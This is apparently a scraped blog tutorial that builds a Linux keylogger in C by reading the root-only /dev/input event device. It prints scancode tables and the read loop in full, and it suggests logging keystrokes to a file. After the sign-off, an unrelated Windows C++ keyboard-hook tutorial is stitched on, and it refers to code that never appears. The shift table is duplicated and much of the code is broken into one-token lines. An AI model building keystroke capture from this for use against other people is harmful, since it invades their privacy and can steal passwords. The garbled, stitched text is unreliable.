Today we are going to write a Linux keylogger in C. We can do this by reading from the keyboard device under /dev. This means you have to have root rights.
Warning: this keylogger is meant only for educational purposes. I’m not responsible for any damage made by this program.
Reading from the device
First of all, we need to know which /dev-ice we need to use, this is different for each keyboard. I know already that it is under /dev/input. In that folder we have multiple devices starting with “event”. We could open each device with something likecat and look if something happens after hitting a key. But, this can be done much easier. In the file /proc/bus/input/devices are all eventX listed. So we can read this file with cat and search for the keyboard. An item in the /proc/bus/input/devices file looks like this:
I: Bus=xxxx Vendor=xxxx Product=xxxx Version=xxxx N: Name=xxxxx P: Phys=xxxxx/input0 S: Sysfs=/devices/xxxxx U: Uniq= H: Handlers=xxxx B: PROP=xxxx B: EV=xxxxxxx B: KEY=xxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxx B: MSC=xx B: LED=x
|
I
:
Bus
=
xxxx
Vendor
=
xxxx
Product
=
xxxx
Version
=
xxxx
N
:
Name
=
xxxxx
P
:
Phys
=
xxxxx
/
input0
S
:
Sysfs
=
/
devices
/
xxxxx
U
:
Uniq
=
H
:
Handlers
=
xxxx
B
:
PROP
=
xxxx
B
:
EV
=
xxxxxxx
B
:
KEY
=
xxxxxxx
xxxxxxxx
xxxxxxxx
xxxxxxxx
xxxxxxx
B
:
MSC
=
xx
B
:
LED
=
x
|
The thirth word after “Handlers=” is the eventX-device of the device. My keyboard is event3, so I will be using that in this blogpost. If we read from /dev/input/event3 (with root rights ;)), we will see a lot of scancodes. In the C program, we will be translating those scancodes to ASCII.
The program
We need the following imports:
#include <linux/input.h> // For getting the type, scancode etc. #include <fcntl.h> // For the open() function #include <stdio.h>
|
#include <linux/input.h> // For getting the type, scancode etc.
#include <fcntl.h> // For the open() function
#include <stdio.h>
|
After that, we define the constant UK, so we don’t have to write “[Unknown]” everytime a scancode doesn’t have a key on the keyboard-layout:
Then we make a keyboard layout, like the following:
static char *scancode_to_ascii[] = { UK, "[Esc]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[Backspace]", "[Tab]", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "[", "]", "[Enter]", "[LCtrl]", "a", "s", "d", "f", "g", "h", "j", "k", "l", ";", "'", "`", "[LShift]", "\\", "z", "x", "c", "v", "b", "n", "m", ",", ".", "/", "[RShift]", "[NL*]", "[LAlt]", " ", "[CapsLock]", "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[NumLock]", "[ScrollLock]", "[NL7]", "[NL8]", "[NL9]", "[NL-]", "[NL4]", "[NL5]", "[NL6]", "[NL+]", "[NL1]", "[NL2]", "[NL3]", "[NL0]", "[NL.]", UK, UK, UK, "[F11]", "[F12]", UK, UK, UK, UK, UK, UK, UK, "[NLEnter]", "[RCtrl]", "[NL/]", "[SysRq]", "[RAlt]", UK, "[Home]", "[Up]", "[PageUp]", "[Left]", "[Right]", "[End]", "[Down]", "[PageDown]", "[Insert]", "[Delete]" };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
static
char
*
scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"1"
,
"2"
,
"3"
,
"4"
,
"5"
,
"6"
,
"7"
,
"8"
,
"9"
,
"0"
,
"-"
,
"="
,
"[Backspace]"
,
"[Tab]"
,
"q"
,
"w"
,
"e"
,
"r"
,
"t"
,
"y"
,
"u"
,
"i"
,
"o"
,
"p"
,
"["
,
"]"
,
"[Enter]"
,
"[LCtrl]"
,
"a"
,
"s"
,
"d"
,
"f"
,
"g"
,
"h"
,
"j"
,
"k"
,
"l"
,
";"
,
"'"
,
"`"
,
"[LShift]"
,
"\\"
,
"z"
,
"x"
,
"c"
,
"v"
,
"b"
,
"n"
,
"m"
,
","
,
"."
,
"/"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
|
Also, we make a keyboard layout for whenever the capslock key is pressed and whenever the shift key is pressed:
static char *shift_scancode_to_ascii[] = { UK, "[Esc]", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+", "[Backspace]", "[Tab]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "{", "}", "[Enter]", "[LCtrl]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ":", "\"", "~", "[LShift]", "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">", "?", "[RShift]", "[NL*]", "[LAlt]", " ", "[CapsLock]", "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[NumLock]", "[ScrollLock]", "[NL7]", "[NL8]", "[NL9]", "[NL-]", "[NL4]", "[NL5]", "[NL6]", "[NL+]", "[NL1]", "[NL2]", "[NL3]", "[NL0]", "[NL.]", UK, UK, UK, "[F11]", "[F12]", UK, UK, UK, UK, UK, UK, UK, "[NLEnter]", "[RCtrl]", "[NL/]", "[SysRq]", "[RAlt]", UK, "[Home]", "[Up]", "[PageUp]", "[Left]", "[Right]", "[End]", "[Down]", "[PageDown]", "[Insert]", "[Delete]" }; static char *shift_scancode_to_ascii[] = { UK, "[Esc]", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "_", "+", "[Backspace]", "[Tab]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "{", "}", "[Enter]", "[LCtrl]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ":", "\"", "~", "[LShift]", "|", "Z", "X", "C", "V", "B", "N", "M", "<", ">", "?", "[RShift]", "[NL*]", "[LAlt]", " ", "[CapsLock]", "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[NumLock]", "[ScrollLock]", "[NL7]", "[NL8]", "[NL9]", "[NL-]", "[NL4]", "[NL5]", "[NL6]", "[NL+]", "[NL1]", "[NL2]", "[NL3]", "[NL0]", "[NL.]", UK, UK, UK, "[F11]", "[F12]", UK, UK, UK, UK, UK, UK, UK, "[NLEnter]", "[RCtrl]", "[NL/]", "[SysRq]", "[RAlt]", UK, "[Home]", "[Up]", "[PageUp]", "[Left]", "[Right]", "[End]", "[Down]", "[PageDown]", "[Insert]", "[Delete]" };
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
static
char
*
shift_scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"!"
,
"@"
,
"#"
,
"$"
,
"%"
,
"^"
,
"&"
,
"*"
,
"("
,
")"
,
"_"
,
"+"
,
"[Backspace]"
,
"[Tab]"
,
"Q"
,
"W"
,
"E"
,
"R"
,
"T"
,
"Y"
,
"U"
,
"I"
,
"O"
,
"P"
,
"{"
,
"}"
,
"[Enter]"
,
"[LCtrl]"
,
"A"
,
"S"
,
"D"
,
"F"
,
"G"
,
"H"
,
"J"
,
"K"
,
"L"
,
":"
,
"\""
,
"~"
,
"[LShift]"
,
"|"
,
"Z"
,
"X"
,
"C"
,
"V"
,
"B"
,
"N"
,
"M"
,
"<"
,
">"
,
"?"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
static
char
*
shift_scancode_to_ascii
[
]
=
{
UK
,
"[Esc]"
,
"!"
,
"@"
,
"#"
,
"$"
,
"%"
,
"^"
,
"&"
,
"*"
,
"("
,
")"
,
"_"
,
"+"
,
"[Backspace]"
,
"[Tab]"
,
"Q"
,
"W"
,
"E"
,
"R"
,
"T"
,
"Y"
,
"U"
,
"I"
,
"O"
,
"P"
,
"{"
,
"}"
,
"[Enter]"
,
"[LCtrl]"
,
"A"
,
"S"
,
"D"
,
"F"
,
"G"
,
"H"
,
"J"
,
"K"
,
"L"
,
":"
,
"\""
,
"~"
,
"[LShift]"
,
"|"
,
"Z"
,
"X"
,
"C"
,
"V"
,
"B"
,
"N"
,
"M"
,
"<"
,
">"
,
"?"
,
"[RShift]"
,
"[NL*]"
,
"[LAlt]"
,
" "
,
"[CapsLock]"
,
"[F1]"
,
"[F2]"
,
"[F3]"
,
"[F4]"
,
"[F5]"
,
"[F6]"
,
"[F7]"
,
"[F8]"
,
"[F9]"
,
"[F10]"
,
"[NumLock]"
,
"[ScrollLock]"
,
"[NL7]"
,
"[NL8]"
,
"[NL9]"
,
"[NL-]"
,
"[NL4]"
,
"[NL5]"
,
"[NL6]"
,
"[NL+]"
,
"[NL1]"
,
"[NL2]"
,
"[NL3]"
,
"[NL0]"
,
"[NL.]"
,
UK
,
UK
,
UK
,
"[F11]"
,
"[F12]"
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
UK
,
"[NLEnter]"
,
"[RCtrl]"
,
"[NL/]"
,
"[SysRq]"
,
"[RAlt]"
,
UK
,
"[Home]"
,
"[Up]"
,
"[PageUp]"
,
"[Left]"
,
"[Right]"
,
"[End]"
,
"[Down]"
,
"[PageDown]"
,
"[Insert]"
,
"[Delete]"
}
;
|
Then we define a main function, with some variables and a while loop.
int main() { int shift_pressed = 0; int caps_pressed = 0; int fd; fd = open("/dev/input/event3", O_RDONLY); //.. Make sure to change event3 to the right eventX. struct input_event ev; while(1) { } return 0; }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int
main
(
)
{
int
shift_pressed
=
0
;
int
caps_pressed
=
0
;
int
fd
;
fd
=
open
(
"/dev/input/event3"
,
O_RDONLY
)
;
//.. Make sure to change event3 to the right eventX.
struct
input_event
ev
;
while
(
1
)
{
}
return
0
;
}
|
O_RDONLY means we can only read from the file. input_event is a struct defined in input.h:
struct input_event { struct timeval time; __u16 type; __u16 code; __u32 value; };
|
struct
input_event
{
struct
timeval
time
;
__u16
type
;
__u16
code
;
__u32
value
;
}
;
|
In the while loop, we will read from fd and store it in ev. When the ev.type is equal to 1, two if statements will check if the key was pressed or released and print the key.
while(1) { read(fd, &ev, sizeof(struct input_event)); if(ev.type == 1) { if(ev.value == 1) { printf("Key %s pressed.\n", scancode_to_ascii[ev.code]); } if(ev.value == 0) { printf("Key %s released.\n", scancode_to_ascii[ev.code]); } } }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
while
(
1
)
{
read
(
fd
,
&
ev
,
sizeof
(
struct
input_event
)
)
;
if
(
ev
.
type
==
1
)
{
if
(
ev
.
value
==
1
)
{
printf
(
"Key %s pressed.\n"
,
scancode_to_ascii
[
ev
.
code
]
)
;
}
if
(
ev
.
value
==
0
)
{
printf
(
"Key %s released.\n"
,
scancode_to_ascii
[
ev
.
code
]
)
;
}
}
}
|
ev.code is the scancode in decimals.
The program will now work, but shift and capslock won’t make keys uppercase or something like. So, we check in the first if statement if the pressed key is capslock. If it is, we’ll check ifcaps_pressed is already 1, if so we set it to 0. Otherwise we set it to 1. We also check if shift has been pressed, if that is the case, we setshift_pressed to 1. Whenever shift has been released, we set it to 0. The scancode for [RShift], [LShift] and [CapsLock] are 54, 42 and 58,respectively. Also each time when a key is released, we print a newline onto the screen. You can find the final code in my GitHub repository: https://github.com/samvhb/Linux-Keylogger.
Next
You can make a scancode-list, when CTRL is hold, so you can log keys like CTRL+C, CTRL+S. Also you can store the keys in a logfile.
If you have questions, suggestions or anything like that, make sure to comment :).
– Sam
For the sake of simplicity, you can think of hooks as Windows’ global events and hook procedures as your event handlers for them. Many might disagree with my analogy and i do agree that its not the best but still, it gets the job done.
Now that we have the brief introduction and prerequisites out of our way, we should start with the implementation of hooks using C++. I would be using Microsoft’s Visual Studio 2013 but this code should run in pretty much any C++ IDE. Also, I would only be implementing the WH_KEYBOARD_LL hook through which we can get the low-level keyboard input events. This is mainly due to two reasons:
Start off using an empty console project and add the following lines of code to your Source.cpp file.
While statement on the line #7 puts the program in a message loop and makes sure that the program stays alive. We need this because the hooks are uninstalled once you program exits so without this while statement, our program will immediately close after running.
Now, add the following lines of code just above the declaration of our program’s main method.
First, we declare and initialize a variable of the type HHOOK. This actually is a pointer that gets set once the hook has been installed. MyLowLevelKeyboardProc() is the event handler (or the hook procedure) that runs once the respected Windows’ global event (or hook) is triggered. CallNextHookEx() returns the next hook procedure in the queue, for execution. If you don’t do this, other application’s hook procedures queued after yours won’t work. This might cause other applications to behave irregularly. You can read in more detail about LowLevelKeyboardProc() and it’s arguments in the MSDN documentation.
We have done most of the work by now. The basic structure of our C++ program is ready. We have defined the LowLevelKeyboardProc() hook procedure. Now all that is left is to install the hook so that we can start receiving our low-level keyboard events.
To do that, add the following code just above the while loop, into the main function of your program.
Your complete program should now look something like this.
That’s it. Run your program (Ctrl + F5), click on the task-bar and press some keys from the keyboard. You’ll should see something like the screenshot below.
In my experience, those are all the basics you need to know about how to implement hooks in C++. Still, if you have any further questions please feel free to ask. I’ll try my level best to answer them.
You can download the final source code from my Codeplex project. Meanwhile, also do checkout some more recommend resources given below.